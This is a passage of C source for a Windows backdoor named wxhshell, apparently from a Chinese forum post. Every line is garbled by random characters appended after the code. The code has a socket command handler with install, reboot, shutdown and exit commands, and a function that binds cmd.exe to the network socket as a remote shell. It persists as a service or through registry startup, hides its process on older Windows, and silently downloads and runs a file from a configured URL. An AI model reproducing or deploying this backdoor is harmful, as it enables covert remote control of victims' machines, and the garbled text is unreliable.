    switch(cmd[0]) { 4ATIF ;G'<  
  (H6Mi.uZ  
  // 帮助 A4daIhP (  
  case '?': { Dnp><%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BMO&(g  
    break; >zo_}A!  
  } rlQ=rNrG&E  
  // 安装 )Ah7  
  case 'i': { 5ENEx  
    if(Install()) ~X<?&;6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FWW*f _L  
    else d]K$0HY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uH |:gF^  
    break; ;~GBD]  
    } 1<;VD0XX  
  // 卸载 slQEAqG)B  
  case 'r': { UuCRQNH  
    if(Uninstall()) 2QgD<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9/h[(qvT  
    else 8l*h\p:Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FGzn|I  
    break; X@ S~D7|ja  
    } q.bx nta"  
  // 显示 wxhshell 所在路径 $kBcnk  
  case 'p': { Ip |=NQL>  
    char svExeFile[MAX_PATH]; k_`h (R  
    strcpy(svExeFile,"\n\r"); U&W/Nj  
      strcat(svExeFile,ExeFile); snYyxi  
        send(wsh,svExeFile,strlen(svExeFile),0); [nf 5<  
    break; L:\>)6]Ls  
    } CrB4%W:{  
  // 重启 g&rz*)|/  
  case 'b': { *)L~1;7j>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gu "@*,hL  
    if(Boot(REBOOT)) yRR[M@Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p$}/~5b}4  
    else { X<Ag['r  
    closesocket(wsh); <+Gf!0i  
    ExitThread(0); jJD*s/o  
    } iu.Jp92  
    break; !j/54,  
    } -TS5g1  
  // 关机 ,AH2/^:%c  
  case 'd': { P)O:lYX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^Rh}[  
    if(Boot(SHUTDOWN)) * !9=?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L=dQ,yA  
    else { F#^/=AR'  
    closesocket(wsh); 7c!#e=W@B  
    ExitThread(0); owx0J,,G  
    } mFmxEv  
    break; tL M@o|:  
    } gwbV$[.X  
  // 获取shell Z*'<9l_1  
  case 's': { 2U3e!V  
    CmdShell(wsh); eV"s5X[$  
    closesocket(wsh); (}rBnD  
    ExitThread(0); nrR2U`  
    break; KQ^|prN?y  
  } .hJcK/m  
  // 退出 ]&s@5<S[  
  case 'x': { Sx1|Oq]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [ldBI3  
    CloseIt(wsh); "m`}J*s"  
    break; X\kWJQ:  
    } 2BiFP||  
  // 离开 (+SL1O P  
  case 'q': { NA$%Up  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ipE|)Ns  
    closesocket(wsh); [?bq4u`  
    WSACleanup(); U6.hH%\}@  
    exit(1); v'm-A d+4t  
    break; yxi&80$  
        } %,S{9q  
  } sR^b_/ElxT  
  } t'Zv)Wu1E  
#jsN  
  // 提示信息 vl~HV8MAv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UW1i%u k  
} 51-'*Y  
  } }0sLeGJ!  
5"ooam3  
  return; RKZBI?@4  
} i-9W8A  
jX0^1d@  
// shell模块句柄 <fE ^S  
int CmdShell(SOCKET sock) R@#xPv4o%  
{ Ezev ^O]   
STARTUPINFO si; ?*.:*A  
ZeroMemory(&si,sizeof(si)); $y{.fjy3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;p7R~17  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u@tH6k*cBz  
PROCESS_INFORMATION ProcessInfo; -hq^';,  
char cmdline[]="cmd"; 7yjun|Lt}X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I>q!co9n  
  return 0; H^dw=kS  
} J#5V>7G  
"MK2QIo  
// 自身启动模式 $)~:H-  
int StartFromService(void) ,& wd  
{ ]^8CtgC  
typedef struct {-Gh 62hDg  
{ x3sX=jIW_  
  DWORD ExitStatus; ;GKL[ tI"  
  DWORD PebBaseAddress; 4Dy1M}7  
  DWORD AffinityMask; Vl3-cW@p  
  DWORD BasePriority; . IM]B4m  
  ULONG UniqueProcessId; 9GsG*$-I  
  ULONG InheritedFromUniqueProcessId;  f^KN8N  
}   PROCESS_BASIC_INFORMATION; ) ~gIJW  
M!i*DU+SE  
PROCNTQSIP NtQueryInformationProcess; *sau['Ha  
i6$HwRZm#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L2_[M'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q}cti /  
lEw;X78+  
  HANDLE             hProcess; |~#A?mK-  
  PROCESS_BASIC_INFORMATION pbi; IVy<>xpt  
oW(EV4J"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `$XB_ o%@  
  if(NULL == hInst ) return 0; X{(?p=]  
MPKrr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )a5ON8?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y4r?M8]"r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !X||ds  
@eDs)mY  
  if (!NtQueryInformationProcess) return 0; KYwUkuw)  
io(!z-$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }%AfZ 2g;h  
  if(!hProcess) return 0; cucmn*o?  
V7`vLs-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sAPQbTSM  
R NQq"c\  
  CloseHandle(hProcess); :I2,  
 F=a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OjNOvh&N  
if(hProcess==NULL) return 0; ~d3@x\I?  
eo@8?>}{X  
HMODULE hMod; >ts}\.(]  
char procName[255]; R]o0V*n  
unsigned long cbNeeded; Z9MR"!0  
O}(sn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {p$@)b  
`'*4B_.  
  CloseHandle(hProcess); 1B:5O*I!J  
:R3iLy  
if(strstr(procName,"services")) return 1; // 以服务启动 *B \ @L  
6!?] (  
  return 0; // 注册表启动 Ekik_!aB  
} fJ0V|o  
P;K LN9/4  
// 主模块 wt;`_}g  
int StartWxhshell(LPSTR lpCmdLine) pQ!lY  
{ Q2)(tB= )  
  SOCKET wsl; IOF!Ra:w  
BOOL val=TRUE; A:D9qp  
  int port=0; ^FQn\,  
  struct sockaddr_in door; 3aBE[  
@'5*jXd  
  if(wscfg.ws_autoins) Install(); w<zzS: PF*  
,qo^G0XO  
port=atoi(lpCmdLine); mXS"nd30bD  
R'6(eA[K  
if(port<=0) port=wscfg.ws_port; Ihr[44#  
+> d;%K  
  WSADATA data; >8x)\'w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /d">}%Jn  
m@lUJY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %#PWD7a\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^TjC  
  door.sin_family = AF_INET; r> Xk1~<!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9W+DW_M  
  door.sin_port = htons(port); $tI<MZ&Z  
M2RkrW#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s;E(51V<>  
closesocket(wsl); xf8[&?  
return 1; $E[M[1j  
} AWPgrv/  
S8+l!$7   
  if(listen(wsl,2) == INVALID_SOCKET) { ya5HAs  
closesocket(wsl); r%WHYhD  
return 1; Oo-4WqRJ  
} tQYV4h\Qj  
  Wxhshell(wsl); eK5~gnv,  
  WSACleanup(); 2{Dnfl'k  
<#;5)!gr{  
return 0; Mk=*2=d  
h-sO7M0E]  
} U1  *P  
H=*0KX{  
// 以NT服务方式启动 %Y0BPTt$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) avM8-&h  
{ jJNl{nyq  
DWORD   status = 0; 3TLym&  
  DWORD   specificError = 0xfffffff; J]zhwM  
@o*~\E<T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M(:bM1AD`u  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9Iq<*\V 4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >R_m@$`  
  serviceStatus.dwWin32ExitCode     = 0; \ykA7Y%  
  serviceStatus.dwServiceSpecificExitCode = 0; 6d6Dk>(V  
  serviceStatus.dwCheckPoint       = 0; K7.ayM 0  
  serviceStatus.dwWaitHint       = 0; 3-6MGL9  
[` }w7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PFx.uqp  
  if (hServiceStatusHandle==0) return; f Ayh9  
iOCs% J  
status = GetLastError(); ;K|K]c  
  if (status!=NO_ERROR) #@5VT* /7  
{ .fhfb\$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QVkji7)ZT  
    serviceStatus.dwCheckPoint       = 0; S.`hl/  
    serviceStatus.dwWaitHint       = 0; z C$F@  
    serviceStatus.dwWin32ExitCode     = status; t9*e"QH  
    serviceStatus.dwServiceSpecificExitCode = specificError; (3Xs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [{R>'~  
    return; Z]WX 7d  
  } __s'/ 6u  
|,S]EHIy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @%*@Rar  
  serviceStatus.dwCheckPoint       = 0; y`5 ?  
  serviceStatus.dwWaitHint       = 0; JUj.:n2e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (CH6Q]Wi_!  
} yiXb<g+B  
aIQC[ry  
// 处理NT服务事件,比如:启动、停止 ^c9_F9N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6[RTL2&W  
{ 1JdMw$H  
switch(fdwControl) ~Ym*QSD  
{ 0H.bRk/P+  
case SERVICE_CONTROL_STOP: kka{u[ruA  
  serviceStatus.dwWin32ExitCode = 0; !FyO5`v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #O,w{S  
  serviceStatus.dwCheckPoint   = 0; !};Ll=dz  
  serviceStatus.dwWaitHint     = 0; Z%LS{o~LK.  
  { ]N0B.e~D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) ?B-en\  
  } E BoC,{R#  
  return; mA%}ijR6y  
case SERVICE_CONTROL_PAUSE: ,' t&L]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d8R|0RZ  
  break; #*lDKn[vO  
case SERVICE_CONTROL_CONTINUE: q[W@.[2y)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uHbbPtk  
  break; VPuo!H  
case SERVICE_CONTROL_INTERROGATE: sa/9r9hc+  
  break; 1M?x,N_W  
}; PY4a3dp U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {iq^CHAVK  
} 1:M'|uc  
pFiE2V_aS  
// 标准应用程序主函数 bF*Kb"!CF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xC= $ym]  
{ i$}G[v<4  
)+hJi/g  
// 获取操作系统版本 _8-1wx  
OsIsNt=GetOsVer(); Er8F_,M+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W!kF(O NA  
._;It198f  
  // 从命令行安装 =w8 0y'  
  if(strpbrk(lpCmdLine,"iI")) Install(); $AvaOI.l  
p`Tl)[*  
  // 下载执行文件 Y#-c<o}f  
if(wscfg.ws_downexe) { OVgak>$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) EG &me  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xs"d+dc  
} S;iD~>KP  
!B{(EL=g  
if(!OsIsNt) { 1cMdoQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 hBcklI  
HideProc(); E5|GP  
StartWxhshell(lpCmdLine); t1oTZ  
} FEopNDy@y  
else NU{eoqaT  
  if(StartFromService()) 0pB'^Q{  
  // 以服务方式启动 P@n rcgM.  
  StartServiceCtrlDispatcher(DispatchTable); \k6OP  
else < 0S\P=\  
  // 普通方式启动 MIZ!+[At  
  StartWxhshell(lpCmdLine); [xGL0Z%)t  
^ yF Wvfh4  
return 0; :x3DuQP  
}
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只看该作者 1 发表于: 2006-10-10
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